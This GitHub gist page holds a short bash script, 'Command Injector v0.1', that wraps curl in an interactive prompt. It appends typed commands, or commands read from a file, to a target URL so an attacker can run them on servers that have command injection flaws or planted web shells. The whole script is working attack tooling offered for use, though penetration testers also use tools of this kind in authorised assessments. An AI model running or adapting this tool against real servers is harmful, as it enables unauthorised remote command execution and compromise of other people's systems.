Skip to content

Instantly share code, notes, and snippets.

@gfoss
Created September 10, 2014 07:01
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save gfoss/51e17ff3d7f04cb990b8 to your computer and use it in GitHub Desktop.
Save gfoss/51e17ff3d7f04cb990b8 to your computer and use it in GitHub Desktop.
script to assist in exploiting command injection vulns / interacting with simple webshells
#!/bin/bash
#
# Command Injector v0.1
# greg.foss[at]owasp.org
# modified version of dirtshell by 'superkojiman' to exploit command injection vulnerabilities / access web shells via cli
# dirtshell.sh => http://blog.techorganic.com/2012/06/lets-kick-shell-ish-part-1-directory.html
function usage {
echo "usage: -u URL"
echo "eg : -u \"http://site.com/index.php?cmd=\""
}
if [[ -z $1 ]]; then
usage
exit 0;
fi
url=""
cmdfile=""
rfifile=""
while getopts "u:f:" OPT; do
case $OPT in
u) url=$OPTARG;;
f) cmdfile=$OPTARG;;
*) usage; exit 0;;
esac
done
if [[ -z $url ]]; then
usage
exit 0;
fi
which curl &>/dev/null
if [[ $? -ne 0 ]]; then
echo "[!] curl needs to be installed to run this script"
exit 1
fi
# read files from a file and print to stdout
if [[ ! -z $cmdfile ]]; then
if [[ -f $cmdfile ]]; then
for i in $(cat $cmdfile); do
echo "[+] requesting ${url}${i}"
curl "${url}${i}"
done
fi
else
# interactive shell
while :; do
printf "[>] "
read cmd
echo "[+] requesting ${url}${cmd}"
curl "${url}${cmd}"
echo ""
done
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment